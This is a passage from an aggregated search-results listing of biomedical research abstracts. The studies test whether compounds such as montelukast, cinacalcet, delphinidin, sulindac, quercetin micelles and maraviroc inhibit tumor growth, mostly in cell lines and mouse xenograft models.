antagonist treatment until recordable tumor appearance. Both regimens resulted in significantly reduced tumor size, attributed to changes in proliferation and apoptosis as determined by reduced Ki-67 levels and increased levels of p21(WAF/Cip1) (Pcolon cancer cell line HCT-116 and CysLT1R antagonists. In addition to significant reductions in cell proliferation, adhesion and colony formation, we observed induction of cell cycle arrest and apoptosis in a dose-dependent manner. The ability of Montelukast to inhibit growth of human colon cancer xenograft was further validated by using two additional colon cancer cell lines, SW-480 and HT-29. Our results demonstrate that CysLT1R antagonists inhibit growth of colon cancer xenografts primarily by reducing proliferation and inducing apoptosis of the tumor cells. 15. Cinacalcet inhibits neuroblastoma tumor growth and upregulates cancer-testis antigens Science.gov (United States) Casalà, Carla; Briansó, Ferran; Castrejón, Nerea; Rodríguez, Eva; Suñol, Mariona; Carcaboso, Angel M.; Lavarino, Cinzia; Mora, Jaume; de Torres, Carmen 2016-01-01 The calcium–sensing receptor is a G protein-coupled receptor that exerts cell-type specific functions in numerous tissues and some cancers. We have previously reported that this receptor exhibits tumor suppressor properties in neuroblastoma. We have now assessed cinacalcet, an allosteric activator of the CaSR approved for clinical use, as targeted therapy for this developmental tumor using neuroblastoma cell lines and patient-derived xenografts (PDX) with different MYCN and TP53 status. In vitro, acute exposure to cinacalcet induced endoplasmic reticulum stress coupled to apoptosis via ATF4-CHOP-TRB3 in CaSR-positive, MYCN-amplified cells. Both phenotypes were partially abrogated by phospholipase C inhibitor U73122. Prolonged in vitro treatment also promoted dose- and time-dependent apoptosis in CaSR-positive, MYCN-amplified cells and, irrespective of MYCN status, differentiation in surviving cells. Cinacalcet significantly inhibited tumor growth in MYCN-amplified xenografts and reduced that of MYCN-non amplified PDX. Morphology assessment showed fibrosis in MYCN-amplified xenografts exposed to the drug. Microarrays analyses revealed up-regulation of cancer-testis antigens (CTAs) in cinacalcet-treated MYCN-amplified tumors. These were predominantly CTAs encoded by genes mapping on chromosome X, which are the most immunogenic. Other modulated genes upon prolonged exposure to cinacalcet were involved in differentiation, cell cycle exit, microenvironment remodeling and calcium signaling pathways. CTAs were up-regulated in PDX and in vitro models as well. Moreover, progressive increase of CaSR expression upon cinacalcet treatment was seen both in vitro and in vivo. In summary, cinacalcet reduces neuroblastoma tumor growth and up-regulates CTAs. This effect represents a therapeutic opportunity and provides surrogate circulating markers of neuroblastoma response to this treatment. PMID:26893368 16. Delphinidin Inhibits Tumor Growth by Acting on VEGF Signalling in Endothelial Cells. Directory of Open Access Journals (Sweden) Thérèse Keravis Full Text Available The vasculoprotective properties of delphinidin are driven mainly by its action on endothelial cells. Moreover, delphinidin displays anti-angiogenic properties in both in vitro and in vivo angiogenesis models and thereby might prevent the development of tumors associated with excessive vascularization. This study was aimed to test the effect of delphinidin on melanoma-induced tumor growth with emphasis on its molecular mechanism on endothelial cells. Delphinidin treatment significantly decreased in vivo tumor growth induced by B16-F10 melanoma cell xenograft in mice. In vitro, delphinidin was not able to inhibit VEGFR2-mediated B16-F10 melanoma cell proliferation but it specifically reduced basal and VEGFR2-mediated endothelial cell proliferation. The anti-proliferative effect of delphinidin was reversed either by the MEK1/2 MAP kinase inhibitor, U-0126, or the PI3K inhibitor, LY-294002. VEGF-induced proliferation was reduced either by U-0126 or LY-294002. Under these conditions, delphinidin failed to decrease further endothelial cell proliferation. Delphinidin prevented VEGF-induced phosphorylation of ERK1/2 and p38 MAPK and decreased the expression of the transcription factors, CREB and ATF1. Finally, delphinidin was more potent in inhibiting in vitro cyclic nucleotide phosphodiesterases (PDEs, PDE1 and PDE2, compared to PDE3-PDE5. Altogether delphinidin reduced tumor growth of melanoma cell in vivo by acting specifically on endothelial cell proliferation. The mechanism implies an association between inhibition of VEGF-induced proliferation via VEGFR2 signalling, MAPK, PI3K and at transcription level on CREB/ATF1 factors, and the inhibition of PDE2. In conjunction with our previous studies, we demonstrate that delphinidin is a promising compound to prevent pathologies associated with generation of vascular network in tumorigenesis. 17. Tumor-induced osteomalacia with elevated fibroblast growth factor 23: a case of phosphaturic mesenchymal tumor mixed with connective tissue variants and review of the literature Institute of Scientific and Technical Information of China (English) Fang-Ke Hu; Fang Yuan; Cheng-Ying Jiang; Da-Wei Lv; Bei-Bei Mao; Qiang Zhang; Zeng-Qiang Yuan; Yan Wang 2011-01-01 Tumor-induced osteomalacia (TIO),or oncogenic osteomalacia (OOM),is a rare acquired paraneoplastic disease characterized by renal phosphate wasting and hypophosphatemia.Recent evidence shows that tumor-overexpressed fibroblast growth factor 23 (FGF23) is responsible for the hypophosphatemia and osteomalacia.The tumors associated with TIO are usually phosphaturic mesenchymal tumor mixed connective tissue variants (PMTMCT).Surgical removal of the responsible tumors is clinically essential for the treatment of TIO.However,identifying the responsible tumors is often difficult.Here,we report a case of a TIO patient with elevated serum FGF23 levels suffering from bone pain and hypophosphatemia for more than three years.A tumor was finally located in first metacarpal bone by octreotide scintigraphy and she was cured by surgery.After complete excision of the tumor,serum FGF23 levels rapidly decreased,dropping to 54.7% of the preoperative level one hour after surgery and eventually to a little below normal.The patient's serum phosphate level rapidly improved and returned to normal level in four days.Accordingly,her clinical symptoms were greatly improved within one month after surgery.There was no sign of tumor recurrence during an 18-month period of follow-up.According to pathology,the tumor was originally diagnosed as “glomangioma” based upon a biopsy sample,“proliferative giant cell tumor of tendon sheath” based upon sections of tumor,and finally diagnosed as PMTMCT by consultation one year after surgery.In conclusion,although an extremely rare disease,clinicians and pathologists should be aware of the existence of TIO and PMTMCT,respectively. 18. Radiofrequency Ablation of Liver Tumors in Combination with Local OK-432 Injection Prolongs Survival and Suppresses Distant Tumor Growth in the Rabbit Model with Intra- and Extrahepatic VX2 Tumors Energy Technology Data Exchange (ETDEWEB) Kageyama, Ken, E-mail: kageyamaken0112@gmail.com; Yamamoto, Akira, E-mail: loveakirayamamoto@gmail.com; Okuma, Tomohisa, E-mail: o-kuma@msic.med.osaka-cu.ac.jp; Hamamoto, Shinichi, E-mail: hamashin_tigers1975@yahoo.co.jp; Takeshita, Toru, E-mail: takeshita3595@view.ocn.ne.jp; Sakai, Yukimasa, E-mail: sakaiy@trust.ocn.ne.jp; Nishida, Norifumi, E-mail: norifumin@med.osaka-cu.ac.jp; Matsuoka, Toshiyuki, E-mail: tmatsuoka@msic.med.osaka-cu.ac.jp; Miki, Yukio, E-mail: yukio.miki@med.osaka-cu.ac.jp [Osaka City University, Department of Radiology, Graduate School of Medicine (Japan) 2013-10-15 Purpose: To evaluate survival and distant tumor growth after radiofrequency ablation (RFA) and local OK-432 injection at a single tumor site in a rabbit model with intra- and extrahepatic VX2 tumors and to examine the effect of this combination therapy, which we termed immuno-radiofrequency ablation (immunoRFA), on systemic antitumor immunity in a rechallenge test. Methods: Our institutional animal care committee approved all experiments. VX2 tumors were implanted to three sites: two in the liver and one in the left ear. Rabbits were randomized into four groups of seven to receive control, RFA alone, OK-432 alone, and immunoRFA treatments at a single liver tumor at 1 week after implantation. Untreated liver and ear tumor volumes were measured after the treatment. As the rechallenge test, tumors were reimplanted into the right ear of rabbits, which survived the 35 weeks and were followed up without additional treatment. Statistical significance was examined by log-rank test for survival and Student's t test for tumor volume. Results: Survival was significantly prolonged in the immunoRFA group compared to the other three groups (P < 0.05). Untreated liver and ear tumor sizes became significantly smaller after immunoRFA compared to controls (P < 0.05). In the rechallenge test, the reimplanted tumors regressed without further therapy compared to the ear tumors of the control group (P < 0.05). Conclusion: ImmunoRFA led to improved survival and suppression of distant untreated tumor growth. Decreases in size of the distant untreated tumors and reimplanted tumors suggested that systemic antitumor immunity was enhanced by immunoRFA. 19. Radiofrequency Ablation of Liver Tumors in Combination with Local OK-432 Injection Prolongs Survival and Suppresses Distant Tumor Growth in the Rabbit Model with Intra- and Extrahepatic VX2 Tumors International Nuclear Information System (INIS) Purpose: To evaluate survival and distant tumor growth after radiofrequency ablation (RFA) and local OK-432 injection at a single tumor site in a rabbit model with intra- and extrahepatic VX2 tumors and to examine the effect of this combination therapy, which we termed immuno-radiofrequency ablation (immunoRFA), on systemic antitumor immunity in a rechallenge test. Methods: Our institutional animal care committee approved all experiments. VX2 tumors were implanted to three sites: two in the liver and one in the left ear. Rabbits were randomized into four groups of seven to receive control, RFA alone, OK-432 alone, and immunoRFA treatments at a single liver tumor at 1 week after implantation. Untreated liver and ear tumor volumes were measured after the treatment. As the rechallenge test, tumors were reimplanted into the right ear of rabbits, which survived the 35 weeks and were followed up without additional treatment. Statistical significance was examined by log-rank test for survival and Student’s t test for tumor volume. Results: Survival was significantly prolonged in the immunoRFA group compared to the other three groups (P < 0.05). Untreated liver and ear tumor sizes became significantly smaller after immunoRFA compared to controls (P < 0.05). In the rechallenge test, the reimplanted tumors regressed without further therapy compared to the ear tumors of the control group (P < 0.05). Conclusion: ImmunoRFA led to improved survival and suppression of distant untreated tumor growth. Decreases in size of the distant untreated tumors and reimplanted tumors suggested that systemic antitumor immunity was enhanced by immunoRFA 20. Global Tumor RNA Expression in Early Establishment of Experimental Tumor Growth and Related Angiogenesis following Cox-Inhibition Evaluated by Microarray Analysis Directory of Open Access Journals (Sweden) Kent Lundholm 2007-01-01 Full Text Available Altered expression of COX-2 and overproduction of prostaglandins, particularly prostaglandin E2, are common in malignant tumors. Consequently, non-steroidal anti-inflammatory drugs (NSAIDs attenuate tumor net growth, tumor related cachexia, improve appetite and prolong survival. We have also reported that COX-inhibition (indomethacin interfered with early onset of tumor endothelial cell growth, tumor cell proliferation and apoptosis. It is however still unclear whether such effects are restricted to metabolic alterations closely related to eicosanoid pathways and corresponding regulators, or whether a whole variety of gene products are involved both up- and downstream effects of eicosanoids. Therefore, present experiments were performed by the use of an in vivo, intravital chamber technique, where micro-tumor growth and related angiogenesis were analyzed by microarray to evaluate for changes in global RNA expression caused by indomethacin treatment. Indomethacin up-regulated 351 and down-regulated 1852 genes significantly (p < 0.01; 1066 of these genes had unknown biological function. Genes with altered expression occurred on all chromosomes. Our results demonstrate that indomethacin altered expression of a large number of genes distributed among a variety of processes in the carcinogenic progression involving angiogenesis, apoptosis, cell-cycling, cell adhesion, inflammation as well as fatty acid metabolism and proteolysis. It remains a challenge to distinguish primary key alterations from secondary adaptive changes in transcription of genes altered by cyclooxygenase inhibition. 1. Optimal Design for Informative Protocols in Xenograft Tumor Growth Inhibition Experiments in Mice. Science.gov (United States) Lestini, Giulia; Mentré, France; Magni, Paolo 2016-09-01 Tumor growth inhibition (TGI) models are increasingly used during preclinical drug development in oncology for the in vivo evaluation of antitumor effect. Tumor sizes are measured in xenografted mice, often only during and shortly after treatment, thus preventing correct identification of some TGI model parameters. Our aims were (i) to evaluate the importance of including measurements during tumor regrowth and (ii) to investigate the proportions of mice included in each arm. For these purposes, optimal design theory based on the Fisher information matrix implemented in PFIM4.0 was applied. Published xenograft experiments, involving different drugs, schedules, and cell lines, were used to help optimize experimental settings and parameters using the Simeoni TGI model. For each experiment, a two-arm design, i.e., control versus treatment, was optimized with or without the constraint of not sampling during tumor regrowth, i.e., "short" and "long" studies, respectively. In long studies, measurements could be taken up to 6 g of tumor weight, whereas in short studies the experiment was stopped 3 days after the end of treatment. Predicted relative standard errors were smaller in long studies than in corresponding short studies. Some optimal measurement times were located in the regrowth phase, highlighting the importance of continuing the experiment after the end of treatment. In the four-arm designs, the results showed that the proportions of control and treated mice can differ. To conclude, making measurements during tumor regrowth should become a general rule for informative preclinical studies in oncology, especially when a delayed drug effect is suspected. PMID:27306546 2. Tumor-targeted intracellular delivery of anticancer drugs through the mannose-6-phosphate/insulin-like growth factor II receptor NARCIS (Netherlands) Prakash, Jai; Beljaars, Leonie; Harapanahalli, Akshay K.; Zeinstra-Smith, Mieke; de Jager-Krikken, Alie; Hessing, Martin; Steen, Herman; Poelstra, Klaas 2010-01-01 Tumor-targeting of anticancer drugs is an interesting approach for the treatment of cancer since chemotherapies possess several adverse effects. In the present study, we propose a novel strategy to deliver anticancer drugs to the tumor cells through the mannose-6-phosphate/insulin-like growth factor 3. Tubulin binding cofactor C (TBCC suppresses tumor growth and enhances chemosensitivity in human breast cancer cells Directory of Open Access Journals (Sweden) Laurier Jean-Fabien 2010-04-01 Full Text Available Abstract Background Microtubules are considered major therapeutic targets in patients with breast cancer. In spite of their essential role in biological functions including cell motility, cell division and intracellular transport, microtubules have not yet been considered as critical actors influencing tumor cell aggressivity. To evaluate the impact of microtubule mass and dynamics on the phenotype and sensitivity of breast cancer cells, we have targeted tubulin binding cofactor C (TBCC, a crucial protein for the proper folding of α and β tubulins into polymerization-competent tubulin heterodimers. Methods We developed variants of human breast cancer cells with increased content of TBCC. Analysis of proliferation, cell cycle distribution and mitotic durations were assayed to investigate the influence of TBCC on the cell phenotype. In vivo growth of tumors was monitored in mice xenografted with breast cancer cells. The microtubule dynamics and the different fractions of tubulins were studied by time-lapse microscopy and lysate fractionation, respectively. In vitro sensitivity to antimicrotubule agents was studied by flow cytometry. In vivo chemosensitivity was assayed by treatment of mice implanted with tumor cells. Results TBCC overexpression influenced tubulin fraction distribution, with higher content of nonpolymerizable tubulins and lower content of polymerizable dimers and microtubules. Microtubule dynamicity was reduced in cells overexpressing TBCC. Cell cycle distribution was altered in cells containing larger amounts of TBCC with higher percentage of cells in G2-M phase and lower percentage in S-phase, along with slower passage into mitosis. While increased content of TBCC had little effect on cell proliferation in vitro, we observed a significant delay in tumor growth with respect to controls when TBCC overexpressing cells were implanted as xenografts in vivo. TBCC overexpressing variants displayed enhanced sensitivity to 4. Regulation of the pituitary tumor transforming gene by insulin-like-growth factor-I and insulin differs between malignant and non-neoplastic astrocytes International Nuclear Information System (INIS) The reasons for overexpression of the oncogene pituitary tumor transforming gene (PTTG) in tumors are still not fully understood. A possible influence of the insulin-like growth factor I (Igf-I) may be of interest, since enhanced Igf-I signalling was reported in various human tumors. We examined the influence of Igf-I and insulin on PTTG expression in human astrocytoma cells in comparison to proliferating non-neoplastic rat embryonal astrocytes. PTTG mRNA expression and protein levels were increased in malignant astrocytes treated with Igf-I or insulin, whereas in rat embryonic astrocytes PTTG expression and protein levels increased only when cells were exposed to Igf-I. Enhanced transcription did not occur after treatment with inhibitors of phosphoinositol-3-kinase (PI3K) and mitogen-activated protein kinase (MAPK), blocking the two basic signalling pathways of Igf-I and insulin. In addition to this transcriptional regulation, both kinases directly bind to PTTG, suggesting a second regulatory route by phosphorylation. However, the interaction of endogenous PTTG with MAPK and PI3K, as well as PTTG phosphorylation were independent from Igf-I or insulin. The latter results were also found in human testis, which contains high PTTG levels as well as in nonneoplastic astrocytes. This suggest, that PI3K and MAPK signalling is involved in PTTG regulation not only in malignant astrocytomas but also in non-tumorous cells 5. Methylthioadenosine (MTA inhibits melanoma cell proliferation and in vivo tumor growth Directory of Open Access Journals (Sweden) Cortés Javier 2010-06-01 Full Text Available Abstract Background Melanoma is the most deadly form of skin cancer without effective treatment. Methylthioadenosine (MTA is a naturally occurring nucleoside with differential effects on normal and transformed cells. MTA has been widely demonstrated to promote anti-proliferative and pro-apoptotic responses in different cell types. In this study we have assessed the therapeutic potential of MTA in melanoma treatment. Methods To investigate the therapeutic potential of MTA we performed in vitro proliferation and viability assays using six different mouse and human melanoma cell lines wild type for RAS and BRAF or harboring different mutations in RAS pathway. We also have tested its therapeutic capabilities in vivo in a xenograft mouse melanoma model and using variety of molecular techniques and tissue culture we investigated its anti-proliferative and pro-apoptotic properties. Results In vitro experiments showed that MTA treatment inhibited melanoma cell proliferation and viability in a dose dependent manner, where BRAF mutant melanoma cell lines appear to be more sensitive. Importantly, MTA was effective inhibiting in vivo tumor growth. The molecular analysis of tumor samples and in vitro experiments indicated that MTA induces cytostatic rather than pro-apoptotic effects inhibiting the phosphorylation of Akt and S6 ribosomal protein and inducing the down-regulation of cyclin D1. Conclusions MTA inhibits melanoma cell proliferation and in vivo tumor growth particularly in BRAF mutant melanoma cells. These data reveal a naturally occurring drug potentially useful for melanoma treatment. 6. Methylthioadenosine (MTA) inhibits melanoma cell proliferation and in vivo tumor growth International Nuclear Information System (INIS) Melanoma is the most deadly form of skin cancer without effective treatment. Methylthioadenosine (MTA) is a naturally occurring nucleoside with differential effects on normal and transformed cells. MTA has been widely demonstrated to promote anti-proliferative and pro-apoptotic responses in different cell types. In this study we have assessed the therapeutic potential of MTA in melanoma treatment. To investigate the therapeutic potential of MTA we performed in vitro proliferation and viability assays using six different mouse and human melanoma cell lines wild type for RAS and BRAF or harboring different mutations in RAS pathway. We also have tested its therapeutic capabilities in vivo in a xenograft mouse melanoma model and using variety of molecular techniques and tissue culture we investigated its anti-proliferative and pro-apoptotic properties. In vitro experiments showed that MTA treatment inhibited melanoma cell proliferation and viability in a dose dependent manner, where BRAF mutant melanoma cell lines appear to be more sensitive. Importantly, MTA was effective inhibiting in vivo tumor growth. The molecular analysis of tumor samples and in vitro experiments indicated that MTA induces cytostatic rather than pro-apoptotic effects inhibiting the phosphorylation of Akt and S6 ribosomal protein and inducing the down-regulation of cyclin D1. MTA inhibits melanoma cell proliferation and in vivo tumor growth particularly in BRAF mutant melanoma cells. These data reveal a naturally occurring drug potentially useful for melanoma treatment 7. Luteolin and its inhibitory effect on tumor growth in systemic malignancies Energy Technology Data Exchange (ETDEWEB) Kapoor, Shailendra, E-mail: shailendrakapoor@yahoo.com [74 crossing place, Mechanicsville, VA (United States) 2013-04-01 Lamy et al have provided interesting data in their recent article in your esteemed journal. Luteolin augments apoptosis in a number of systemic malignancies. Luteolin reduces tumor growth in breast carcinomas. Luteolin mediates this effect by up-regulating the expression of Bax and down-regulating the expression of Bcl-xL. EGFR-induced MAPK activation is also attenuated. As a result there is increased G2/ M phase arrest. These effects have been seen both in vivo as well as in vitro. It also reduces ERα expression and causes inhibition of IGF-1 mediated PI3K–Akt pathway. Luteolin also activates p38 resulting in nuclear translocation of the apoptosis-inducing factor. Simultaneously it also activates ERK. As a result there is increased intra-tumoral apoptosis which is caspase dependent as well as caspase independent. - Highlights: ► Luteolin and tumor growth in breast carcinomas. ► Luteolin and pulmonary cancer. ► Luteolin and colon cancer. 8. Sulindac Induces Apoptosis and Inhibits Tumor Growth In Vivo in Head and Neck Squamous Cell Carcinoma Directory of Open Access Journals (Sweden) Mark A. Scheper 2007-03-01 Full Text Available Sulindac has antineoplastic effects on various cancer cell lines; consequently, we assessed sulindac's effects on laryngeal squamous cell carcinoma (SCC cells in vitro and in vivo. In vitro, SCC (HEP-2 cells treated with various cyclooxygenase inhibitors or transfected with constitutively active signal transducer and activator of transcription 3 (Stat3 or survivin vectors were analyzed using Western blot analysis, annexin V assay, and cell proliferation assay. In parallel, nude mice injected subcutaneously with HEP-2 cells were either treated intraperitoneally with sulindac or left untreated, and analyzed for tumor weight, survivin expression, and tyrosine-phosphorylated Stat3 expression. In vitro studies confirmed the selective antiproliferative and proapoptotic effects of sulindac, which also downregulated Stat3 and survivin protein expression. Stat3 or survivin forced expression partially rescued the antiproliferative effects of sulindac. In vivo studies showed significant repression of HEP-2 xenograft growth in sulindactreated mice versus controls, with near-complete resolution at 10 days. Additionally, tumor specimens treated with sulindac showed downregulation of phosphorylated tyrosine-705 Stat3 and survivin expression. Taken together, our data suggest, for the first time, a specific inhibitory effect of sulindac on tumor growth and survivin expression in laryngeal cancer, both in vitro and in vivo, in a Stat3-dependent manner, suggesting a novel therapeutic approach to head and neck cancer. 9. Atg7 cooperates with Pten loss to drive prostate cancer tumor growth. Science.gov (United States) Santanam, Urmila; Banach-Petrosky, Whitney; Abate-Shen, Cory; Shen, Michael M; White, Eileen; DiPaola, Robert S 2016-02-15 Understanding new therapeutic paradigms for both castrate-sensitive and more aggressive castrate-resistant prostate cancer is essential to improve clinical outcomes. As a critically important cellular process, autophagy promotes stress tolerance by recycling intracellular components to sustain metabolism important for tumor survival. To assess the importance of autophagy in prostate cancer, we generated a new autochthonous genetically engineered mouse model (GEMM) with inducible prostate-specific deficiency in the Pten tumor suppressor and autophagy-related-7 (Atg7) genes. Atg7 deficiency produced an autophagy-deficient phenotype and delayed Pten-deficient prostate tumor progression in both castrate-naïve and castrate-resistant cancers. Atg7-deficient tumors display evidence of endoplasmic reticulum (ER) stress, suggesting that autophagy may promote prostate tumorigenesis through management of protein homeostasis. Taken together, these data support the importance of autophagy for both castrate-naïve and castrate-resistant growth in a newly developed GEMM, suggesting a new paradigm and model to study approaches to inhibit autophagy in combination with known and new therapies for advanced prostate cancer. PMID:26883359 10. Persistent STAT3 Activation in Colon Cancer Is Associated with Enhanced Cell Proliferation and Tumor Growth Directory of Open Access Journals (Sweden) Florian M. Corvinus 2005-06-01 Full Text Available Colorectal carcinoma (CRC is a major cause of morbidity and mortality in Western countries. It has so far been molecularly defined mainly by alterations of the Wnt pathway. We show here for the first time that aberrant activities of the signal transducer and activator of transcription STAT3 actively contribute to this malignancy and, thus, are a potential therapeutic target for CRC. Constitutive STAT3 activity was found to be abundant in dedifferentiated cancer cells and infiltrating lymphocytes of CRC samples, but not in non-neoplastic colon epithelium. Cell lines derived from malignant colorectal tumors lost persistent STAT3 activity in culture. However, implantation of colon carcinoma cells into nude mice resulted in restoration of STAT3 activity, suggesting a role of an extracellular stimulus within the tumor microenvironment as a trigger for STAT activation. STAT3 activity in CRC cells triggered through interleukin-6 or through a constitutively active STAT3 mutant promoted cancer cell multiplication, whereas STAT3 inhibition through a dominant-negative variant impaired IL-6-driven proliferation. Blockade of STAT3 activation in CRCderived xenograft tumors slowed down their development, arguing for a contribution of STAT3 to colorectal tumor growth. 11. Semaphorin 3A suppresses tumor growth and metastasis in mice melanoma model. Directory of Open Access Journals (Sweden) Goutam Chakraborty Full Text Available BACKGROUND: Recent understanding on cancer therapy indicated that targeting metastatic signature or angiogenic switch could be a promising and rational approach to combat cancer. Advancement in cancer research has demonstrated the potential role of various tumor suppressor proteins in inhibition of cancer progression. Current studies have shown that axonal sprouting inhibitor, semaphorin 3A (Sema 3A acts as a potent suppressor of tumor angiogenesis in various cancer models. However, the function of Sema 3A in regulation of melanoma progression is not well studied, and yet to be the subject of intense investigation. METHODOLOGY/PRINCIPAL FINDINGS: In this study, using multiple in vitro and in vivo approaches we have demonstrated that Sema 3A acts as a potent tumor suppressor in vitro and in vivo mice (C57BL/6 models. Mouse melanoma (B16F10 cells overexpressed with Sema 3A resulted in significant inhibition of cell motility, invasiveness and proliferation as well as suppression of in vivo tumor growth, angiogenesis and metastasis in mice models. Moreover, we have observed that Sema 3A overexpressed melanoma clone showed increased sensitivity towards curcumin and Dacarbazine, anti-cancer agents. CONCLUSIONS: Our results demonstrate, at least in part, the functional approach underlying Sema 3A mediated inhibition of tumorigenesis and angiogenesis and a clear understanding of such a process may facilitate the development of novel therapeutic strategy for the treatment of cancer. 12. The multifaceted mechanism of Leptin signaling within tumor microenvironment in driving breast cancer growth and progression. Directory of Open Access Journals (Sweden) Sebastiano eAndò 2014-11-01 Full Text Available Adipokines represent likely candidates to mediate the increased breast cancer risk and the enhanced progression associated with obesity. Other contributors to obesity-related cancer progression are insulin/IGF-1 pathways and hormones. Among these, the adipokine leptin is the most intensively studied in both metabolism in general and in cancer due to the fact that leptin levels increase in proportion of fat mass. Leptin is primarily synthesized from adipocytes, but it is also produced by other cells including fibroblasts. In this latter case, it has been well demonstrated how cancer-associated fibroblasts express leptin receptor and secrete leptin which sustains a short autocrine loop and is able to target tumor epithelial cells enhancing breast cancer cell motility and invasiveness. In addition, it has been reported that leptin may induce breast cancer to undergo a transition from epithelial to spindle-like mesenchymal morphology, activating the signaling pathways devoted to the EMT. Thus, it emerges how leptin may play a crucial role in mediating malignant cell and tumor microenvironment interactions. Here, we present an overview of the role of leptin in breast cancer, covering the following topics: 1 leptin as an amplifier of estrogen signaling in tumor epithelial cells contributing to the promotion of carcinogenesis; 2 leptin as a crucial player in mediating tumor-stroma interaction and influencing EMT-linked mechanisms, that may sustain breast cancer growth and progression; 3 leptin and leptin receptor targeting as novel therapeutic strategies for breast cancer treatment. 13. Biodegradable polymeric micelle-encapsulated quercetin suppresses tumor growth and metastasis in both transgenic zebrafish and mouse models Science.gov (United States) Wu, Qinjie; Deng, Senyi; Li, Ling; Sun, Lu; Yang, Xi; Liu, Xinyu; Liu, Lei; Qian, Zhiyong; Wei, Yuquan; Gong, Changyang 2013-11-01 Quercetin (Que) loaded polymeric micelles were prepared to obtain an aqueous formulation of Que with enhanced anti-tumor and anti-metastasis activities. A simple solid dispersion method was used, and the obtained Que micelles had a small particle size (about 31 nm), high drug loading, and high encapsulation efficiency. Que micelles showed improved cellular uptake, an enhanced apoptosis induction effect, and stronger inhibitory effects on proliferation, migration, and invasion of 4T1 cells than free Que. The enhanced in vitro antiangiogenesis effects of Que micelles were proved by the results that Que micelles significantly suppressed proliferation, migration, invasion, and tube formation of human umbilical vein endothelial cells (HUVECs). Subsequently, transgenic zebrafish models were employed to investigate anti-tumor and anti-metastasis effects of Que micelles, in which stronger inhibitory effects of Que micelles were observed on embryonic angiogenesis, tumor-induced angiogenesis, tumor growth, and tumor metastasis. Furthermore, in a subcutaneous 4T1 tumor model, Que micelles were more effective in suppressing tumor growth and spontaneous pulmonary metastasis, and prolonging the survival of tumor-bearing mice. Besides, immunohistochemical and immunofluorescent assays suggested that tumors in the Que micelle-treated group showed more apoptosis, fewer microvessels, and fewer proliferation-positive cells. In conclusion, Que micelles, which are synthesized as an aqueous formulation of Que, possess enhanced anti-tumor and anti-metastasis activity, which can serve as potential candidates for cancer therapy. 14. Maraviroc decreases CCL8-mediated migration of CCR5(+) regulatory T cells and reduces metastatic tumor growth in the lungs. Science.gov (United States) Halvorsen, E C; Hamilton, M J; Young, A; Wadsworth, B J; LePard, N E; Lee, H N; Firmino, N; Collier, J L; Bennewith, K L 2016-06-01 Regulatory T cells (Tregs) play a crucial physiological role in the regulation of immune homeostasis, although recent data suggest Tregs can contribute to primary tumor growth by suppressing antitumor immune responses. Tregs may also influence the development of tumor metastases, although there is a paucity of information regarding the phenotype and function of Tregs in metastatic target organs. Herein, we demonstrate that orthotopically implanted metastatic mammary tumors induce significant Treg accumulation in the lungs, which is a site of mammary tumor metastasis. Tregs in the primary tumor and metastatic lungs express high levels of C-C chemokine receptor type 5 (CCR5) relative to Tregs in the mammary fat pad and lungs of tumor-free mice, and Tregs in the metastatic lungs are enriched for CCR5 expression in comparison to other immune cell populations. We also identify that C-C chemokine ligand 8 (CCL8), an endogenous ligand of CCR5, is produced by F4/80(+) macrophages in the lungs of mice with metastatic primary tumors. Migration of Tregs toward CCL8 ex vivo is reduced in the presence of the CCR5 inhibitor Maraviroc. Importantly, treatment of mice with Maraviroc (MVC) reduces the level of CCR5(+) Tregs and metastatic tumor burden in the lungs. This work provides evidence of a CCL8/CCR5 signaling axis driving Treg recruitment to the lungs of mice bearing metastatic primary tumors, representing a potential therapeutic target to decrease Treg accumulation and metastatic tumor growth. 15. Apigenin inhibits HGF-promoted invasive growth and metastasis involving blocking PI3K/Akt pathway and β4 integrin function in MDA-MB-231 breast cancer cells International Nuclear Information System (INIS) Hepatocyte growth factor (HGF) and its receptor, Met, known to control invasive growth program have recently been shown to play crucial roles in the survival of breast cancer patients. The diet-derived flavonoids have been reported to possess anti-invasion properties; however, knowledge on the pharmacological and molecular mechanisms in suppressing HGF/Met-mediated tumor invasion and metastasis is poorly understood. In our preliminary study, we use HGF as an invasive inducer to investigate the effect of flavonoids including apigenin, naringenin, genistein and kaempferol on HGF-dependent invasive growth of MDA-MB-231 human breast cancer cells. Results show that apigenin presents the most potent anti-migration and anti-invasion properties by Boyden chamber assay. Furthermore, apigenin represses the HGF-induced cell motility and scattering and inhibits the HGF-promoted cell migration and invasion in a dose-dependent manner. The effect of apigenin on HGF-induced signaling activation involving invasive growth was evaluated by immunoblotting analysis, it shows that apigenin blocks the HGF-induced Akt phosphorylation but not Met, ERK, and JNK phosphorylation. In addition to MDA-MB-231 cells, apigenin exhibits inhibitory effect on HGF-induced Akt phosphorylation in hepatoma SK-Hep1 cells and lung carcinoma A549 cells. By indirect immunofluorescence microscopy assay, apigenin inhibits the HGF-induced clustering of β4 integrin at actin-rich adhesive site and lamellipodia through PI3K-dependent manner. Treatment of apigenin inhibited HGF-stimulated integrin β4 function including cell-matrix adhesion and cell-endothelial cells adhesion in MDA-MB-231 cells. By Akt-siRNA transfection analysis, it confirmed that apigenin inhibited HGF-promoted invasive growth involving blocking PI3K/Akt pathway. Finally, we evaluated the effect of apigenin on HGF-promoted metastasis by lung colonization of tumor cells in nude mice and organ metastasis of tumor cells in chick embryo. By 16. Tumor stromal vascular endothelial growth factor A is predictive of poor outcome in inflammatory breast cancer International Nuclear Information System (INIS) Inflammatory breast cancer (IBC) is a highly angiogenic disease; thus, antiangiogenic therapy should result in a clinical response. However, clinical trials have demonstrated only modest responses, and the reasons for these outcomes remain unknown. Therefore, the purpose of this retrospective study was to determine the prognostic value of protein levels of vascular endothelial growth factor (VEGF-A), one of the main targets of antiangiogenic therapy, and its receptors (VEGF-R1 and -R2) in IBC tumor specimens. Specimens from IBC and normal breast tissues were obtained from Algerian patients. Tumor epithelial and stromal staining of VEGF-A, VEGF-R1, and VEGF-R2 was evaluated by immunohistochemical analysis in tumors and normal breast tissues; this expression was correlated with clinicopathological variables and breast cancer-specific survival (BCSS) and disease-free survival (DFS) duration. From a set of 117 IBC samples, we evaluated 103 ductal IBC tissues and 25 normal specimens. Significantly lower epithelial VEGF-A immunostaining was found in IBC tumor cells than in normal breast tissues (P <0.01), cytoplasmic VEGF-R1 and nuclear VEGF-R2 levels were slightly higher, and cytoplasmic VEGF-R2 levels were significantly higher (P = 0.04). Sixty-two percent of IBC tumors had high stromal VEGF-A expression. In univariate analysis, stromal VEGF-A levels predicted BCSS and DFS in IBC patients with estrogen receptor-positive (P <0.01 for both), progesterone receptor-positive (P = 0.04 and P = 0.03), HER2+ (P = 0.04 and P = 0.03), and lymph node involvement (P <0.01 for 